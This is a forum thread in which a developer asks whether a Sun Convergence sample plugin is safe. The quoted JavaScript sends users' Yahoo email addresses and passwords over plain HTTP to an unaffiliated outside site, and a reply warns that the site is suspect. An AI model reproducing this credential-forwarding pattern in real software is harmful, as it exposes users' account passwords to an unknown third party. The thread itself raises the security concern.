YahooABSPlugin customization for Convergence

Question

Hi,
I enabled and tested the YahooABSPlugin customization for Convergence. It works. I would like to know more about this URL, like how safe is it, who controls it and the relationship to Sun since Sun has included and published it in this working example of customizing Convergence. I submitted my working user id and password, which worked and returned my Yahoo contacts. Is this URL safe to use? Or should I change my Yahoo password? Thanks.
c11n.allDomain.js.widget.YahooABSPlugin
signIn: function(e) {
dojo.stopEvent(e);
var getArgs = {
url: "http://www.*{color:#ff0000}funnynstupid.com{color}*/yahoo/importjson.php",
preventCache: true,
content: {txtEmailAddress: this.username.value, txtPassword: this.password.value, ImportContacts: 'yes'}
var deferred = dojo.io.script.get(getArgs);
//jsonImport([{ContactsName: 'AA', ContactsEmail: '[email protected]'}, {ContactsName: 'BB', ContactsEmail: '[email protected]'}]);
return false;

Answer 1

Referencing the Sun comments in the customize.js file you posted: It is my opinion that by including this example in their product documentation, Sun fosters an implicit expectation that it’s OK to use the example.
In the example comments, Sun should include an explicit and “formatted in bold” disclaimer. The disclaimer should, at least, state Sun’s non-affiliation and a warning--"use this example at your own peril".
The oversight to counter and dispel any such legally risky implicit expectation may lead to execution of the example and even incorporation into code, possibly resulting in great harm. Only after researching the URL will one discover the URL and URL owner are suspect--nothing can be found via Google or Whois, regarding the legitimate use of this URL as a public and secure Yahoo proxy for Yahoo contacts access. The questions are: “who within Sun decided this is a cool site and will make a good example…what do/did they know about the site…how did they find it…is it a Sun developer’s personal or on the side web site service?” I would love to know more about it and how Sun came up with it.
Without answers, this leaves one to ponder “why did Sun use a suspect site URL, surely they wouldn’t reference a bad site…would they? There must be 1000’s of examples, with safe URLs, to demonstrate the target functionality; why would they facilitate such a potential compromise?” I trust Sun and I normally don’t think twice about following their direction and instructions. In a world full of deceit, leaders must take extra precaution to protect their followers.
If this site does in fact perform any illegal activities with a user's Yahoo account and contact information as well as much more, since full access is being provided, then Sun will no doubt be party to a lawsuit and negative news. Removal of the example, a legal statement, or replacing the example with an example that utilizes the Yahoo published API, would go a long way towards resolving any potential problems, real or not, relating to this example.